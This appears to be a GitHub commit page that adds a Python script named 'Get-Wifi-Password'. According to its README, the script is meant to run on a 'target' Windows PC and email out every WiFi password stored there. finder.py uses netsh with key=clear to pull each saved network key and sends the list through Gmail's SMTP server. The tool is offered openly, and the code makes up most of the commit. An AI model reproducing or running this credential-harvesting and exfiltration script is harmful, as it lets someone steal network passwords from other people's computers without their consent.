Skip to content

Commit ba69545

Browse files
Merge pull request avinashkranjan#419 from pritamp17/wifi1
Get WIFI Passwords
2 parents 2812610 + 4c6cccc commit ba69545

File tree

4 files changed

+64
-0
lines changed

4 files changed

+64
-0
lines changed

Get-Wifi-Password/README.md

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
# Get Wifi Passwords
2+
A Python Script Which,when excuted on target WINDOWS PC will send all the stored WIFI passwords in it through given email.
3+
4+
# Packages Used
5+
- [subprocess](https://docs.python.org/3/library/subprocess.html)
6+
- [smtp](https://docs.python.org/3/library/smtplib.html)
7+
8+
# How to run
9+
**1.** Fork [this](https://github.com/avinashkranjan/Amazing-Python-Scripts) repository.
10+
11+
**2.** Clone your forked copy of the project.
12+
```
13+
git clone https://github.com/<your_user_name>/Amazing-Python-Scripts.git
14+
```
15+
Navigate to the project directory.
16+
```bash
17+
cd Amazing-Python-Scripts/python/Get-Wifi-Password
18+
```
19+
```bash
20+
python finder.py
21+
```
22+
![](https://github.com/pritamp17/Amazing-Python-Scripts/blob/wifi1/Get-Wifi-Password/ss/final-1.jpg?raw=true)
23+
24+
# And here you go
25+
![](https://github.com/pritamp17/Amazing-Python-Scripts/blob/wifi1/Get-Wifi-Password/ss/final-2.jpg?raw=true)
26+
27+
# Author
28+
[Pritam Pawar](https://github.com/pritamp17)

Get-Wifi-Password/finder.py

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
import subprocess
2+
import smtplib
3+
4+
def send_mail(email,password,message):
5+
6+
server = smtplib.SMTP("smtp.gmail.com",587)
7+
server.starttls()
8+
server.login(email,password)
9+
server.sendmail(email,email,message)
10+
server.quit()
11+
12+
email=input("[+] Enter Email on which you want to recieve WIFI passwords: ")
13+
print("[-] please enable -less secured apps- to recieve an email")
14+
password = input("[+] Enter Password : ")
15+
16+
listi = []
17+
data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8').split('\n')
18+
profiles = [i.split(":")[1][1:-1] for i in data if "All User Profile" in i]
19+
for i in profiles:
20+
results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', i, 'key=clear']).decode('utf-8').split('\n')
21+
results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]
22+
try:
23+
listi.append(("{:<30}| {:<}".format(i, results[0])))
24+
except IndexError:
25+
listi.append("{:<30}| {:<}".format(i, ""))
26+
27+
res=""
28+
for msg in listi:
29+
res = res + msg +"\n"
30+
# print(res)
31+
try:
32+
send_mail(email, password, res)
33+
print("[+] email successfully sent\n")
34+
except smtplib.SMTPAuthenticationError:
35+
print("[+] Incorrect Email or Password")
36+

Get-Wifi-Password/ss/final-1.jpg

629 KB
Loading

Get-Wifi-Password/ss/final-2.jpg

586 KB
Loading

0 commit comments

Comments
 (0)